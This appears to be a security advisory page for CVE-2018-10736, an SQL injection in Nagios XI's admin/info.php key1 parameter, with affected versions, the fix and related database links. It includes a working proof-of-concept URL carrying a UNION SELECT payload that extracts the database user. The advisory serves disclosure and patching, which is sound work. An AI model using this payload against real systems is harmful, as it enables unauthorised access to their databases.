Lucene search
KnownsecSSV:97266HistoryMay 04, 2018 - 12:00 a.m.
NagiosXI <= 5.4.12 info.php SQL injection(CVE-2018-10736)
2018-05-0400:00:00
Knownsec
www.seebug.org
96
0.037 Low
EPSS
Percentile
91.8%
NagiosXI <= 5.4.12 info.php SQL injection(CVE-2018-10736)
Description
A SQL injection issue was discovered in Nagios XI via the admin/info.php key1 parameter.
Affected Version
- Nagios XI 5.2.x
- Nagios XI 5.4.x before 5.4.13
Proof of concept
http://xxxx/nagiosql/admin/info.php?key1='%20union%20select%20concat(0x7e7e7e,user(),0x7e7e7e)%23
Fix
Upgrade to version 5.4.13
Related
nuclei
nuclei
NagiosXI <= 5.4.12 - SQL injection
2024-04-02 04:06:10
cve
cve
CVE-2018-10736
2018-05-16 13:29:00
ubuntucve
ubuntucve
CVE-2018-10736
2018-05-16 00:00:00
nvd
nvd
CVE-2018-10736
2018-05-16 13:29:00
prion
prion
Sql injection
2018-05-16 13:29:00
cvelist
cvelist
CVE-2018-10736
2018-05-16 13:00:00
openvas
openvas
Nagios XI Multiple Vulnerabilities (Apr 2018) - Active Check
2018-04-27 00:00:00